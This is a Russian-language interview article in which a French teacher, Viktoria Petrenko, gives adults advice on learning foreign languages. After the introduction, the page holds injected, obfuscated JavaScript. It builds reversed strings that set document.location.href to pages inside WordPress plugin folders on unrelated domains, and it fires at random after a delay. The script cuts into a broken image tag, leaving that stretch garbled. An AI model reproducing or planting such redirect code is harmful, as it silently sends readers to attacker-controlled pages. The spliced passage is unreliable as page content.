Елена Лоза
Говорите ли вы еще на каком-либо языке, кроме украинского и русского? Понимаете ли вы хоть как-то своих иностранных собеседников? Если да – то вы молодец, если нет – то надо учиться.
Изучение иностранных языков, особенно английского, сегодня не просто в тренде – для многих украинцев это стало насущной необходимостью. В настоящее время наши соотечественники стали чаще ездить за рубеж – как отдыхать, так и работать, и многие сталкиваются с проблемой языкового барьера. Сами иностранцы часто спрашивают – почему многие люди из Украины не знают английского языка? Вот так и позоримся, судорожно пытаясь вспомнить хоть что-то из школьной программы. А если в школе учил французский или немецкий, так и вовсе нечего ответить.
Дети и подростки сейчас более интенсивно изучают иностранные языки, они уже прочувствовали дух времени и держат нос по ветру. А вот более взрослое поколение испытывает проблемы – как запомнить иностранные слова, когда голова забита повседневными проблемами?
О том, нужно ли учить иностранные языки в недетском возрасте, и как это лучше сделать, мы расспросили преподавателя с большим стажем, учителя высшей категории Викторию Петренко.

$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toportret-200×300.jpg” alt=”” width=”260″ height=”390″ /> Виктория Петренко, учитель высшей категории

– Виктория, есть ли смысл учить иностранный язык, когда тебе далеко за тридцать?
– Учить иностранный язык можно в любом возрасте, тем более, когда тебе за 30 или даже за 50 – это прекрасный повод держать в тонусе свою речь, сообразительность и концентрацию. Здесь большее значение имеет мотивация и заинтересованность в результате. Каждая возрастная группа имеет свои особенности, которые нужно принимать во внимание при изучении языка. Если детей нужно увлечь и развлечь, только так они будут воспринимать информацию, то при работе со взрослыми нужно учитывать их занятость и прислушиваться. Взрослые люди часто сами подсказывают преподавателю, как именно они лучше воспринимают информацию и достигают наилучшего результата.
– Какие языки ты преподаешь?
– Я преподаю французский язык в Запорожской специализированной школе-интернате «Сечевой коллегиум». В этом году поступила на магистратуру в ЗНУ на факультет иностранной филологии, специализация «английский язык и литература».
– Ты изучала английский в школе?
– В школе я изучала французский язык, но это не мешает изучению второго языка, скорее наоборот. Если вы знаете хоть один иностранный язык на каком-то уровне, то изучать второй вам будет легче. Это относится к европейским языкам, у которых много точек соприкосновения, особенно в лексике. Французский помогает мне с точки зрения словарного запаса и грамматических конструкций. В английском примерно 50% слов имеют французские корни, и вы будто не учите слова, а просто вспоминаете их. Единственная проблема – это произношение. После французских носовых звуков, гласных и окончаний мне с трудом дается пресловутое the.
– Сейчас в интернете много предложений по изучению языков – онлайн-тренинги, курсы по скайпу. Что ты думаешь по поводу этой формы обучения? Или лучше заниматься с преподавателем вживую?
– Занимаясь с хорошим преподавателем и по эффективной методике, вы сможете выучить любой иностранный язык независимо от формы обучения. Однако то, как будут проходить ваши занятия – онлайн или вживую, – влияет на эффективность уроков, а значит и на время, которое придется потратить на обучение.
– Какие же курсы лучше выбрать? Заниматься в группе, с репетитором или учить язык самостоятельно?
– Все способы работают. Однако живые занятия являются более эффективными по сравнению с обучением онлайн и имеют больше преимуществ. Занимаясь вживую в группе людей, вы видите их успехи, что вдохновляет вас на занятия, и добрый дух соперничества не позволит вам отставать от своих сокурсников, к тому же на групповых занятиях преподаватель напрямую слышит вашу речь и тут же корректирует произношение. И потом, в аудитории для занятий вам будет легче сосредоточиться на учебе: вас ничто не отвлекает – никто не позвонит вам в дверь, не зайдет в комнату со срочным вопросом и т.д.
Обучение же с репетитором больше подходит для людей, которые обладают очень сжатыми сроками и имеют конкретную цель, требующую знания иностранного языка на определенном уровне.
– Я восемь месяцев ходила на курсы английского, но не могу сказать, что хорошо его выучила. Говорить-то я могу, мои собеседники меня даже понимают, а вот я вообще ни их не понимаю, особенно если это английский английский, а не арабский английский. В чем причины и что мне делать?
– То, что ты умеешь говорить, и собеседники тебя понимают, уже неплохо. Я думаю, в изучении иностранных языков можно совершенствоваться бесконечно. Мой совет – начинай смотреть на английском для начала те фильмы и сериалы, которые ты знаешь очень хорошо. Сначала с русскими субтитрами, потом с английскими, а потом вообще без них. Слушай англоязычную музыку, читай слова любимых песен, если что непонятно — переводи. Это сильно помогает. Также можно найти разговорный клуб, чтобы хоть раз в неделю разговаривать с носителями, если другой практики пока нет.
– На твой взгляд, сколько времени нужно потратить, чтобы выучить иностранный язык?
– Если заниматься по два часа 3 раза в неделю, то овладеть языком можно за год. Речь идёт, естественно, о минимальном уровне знаний.

– Какие языки сейчас популярны?

– Сегодня знание иностранных языков является очень весомым преимуществом, как в плане карьерных перспектив, так и в плане личностного развития. Более того, учитывая современные требования рынка труда, знание одного иностранного языка уже считается нормой. И только владение вторым или третьим языком можно назвать преимуществом.

Самым популярным языком в мире является английский. Так исторически сложилось, что английский язык стал нормой в международных отношениях, политике, ведении бизнеса с зарубежными партнерами. И этот тренд со временем только укрепляется. Следующие в рейтинге популярности – немецкий и французский. Германия и Франция – красивые высокоразвитые регионы, которые находятся сравнительно недалеко от Украины, и куда хочется, как минимум, поехать в гости. А еще немецкий и французский языки очень легко учатся после английского, так как они принадлежат к романо-германской группе.

Если же говорить глобально, то стоит обратить внимание на сложные в изучении для нас языки – китайский, японский и арабский. Большинство социологов и специалистов по лингвистике склоняются к утверждению, что у китайского языка есть все шансы через 10-15 лет превратиться в язык международного общения и бизнеса. Если темпы роста экономического влияния будут неизменными, уже через 30-40 лет китайский язык будет включен и в нашу школьную программу.

Японский и арабский языки также выходят на передовые позиции и становятся все более востребованными.

Советы по изучению языков от Виктории Петренко
– Какие советы по изучению языков ты можешь дать нашим читателям? Возможно, у тебя есть какие-то оригинальные методы?
Теория или практика?
Часто люди, которые изучают иностранные языки, задаются вопросом, что важнее практика или теория? Ответа на этот вопрос нет! Без теории невозможно перейти к практике.
Найти собеседника
Где взять практические занятия, если человек не собирается ехать за границу своего государства? Можно найти друга по переписке или общаться с ним по видео. С приходом новых технологий один собеседник может жить в Лондоне, а другой в Киеве. Если же этот формат чем-то не подходит, то можно нанять репетитора, который разговаривает на языке и сможет подтянуть ваш уровень разговорного языка.
Ин-яз и возраст
Даже если вам за 30, вы все равно освоите язык, если захотите. Забудьте глупые стереотипы, человек способен развиваться в любом возрасте.

Заниматься систематически

При изучении иностранного языка очень важна системность. Лучше заниматься один час в день ежедневно, чем 6 часов раз в неделю.
Поставить цель
– Мотивация и цель – это уже половина успеха в любом деле, включая изучение языка. Поставьте цель и идите к ней последовательно, отбросьте все негативные мысли и эмоции. И пусть процесс освоения языка приносит вам только удовольствие!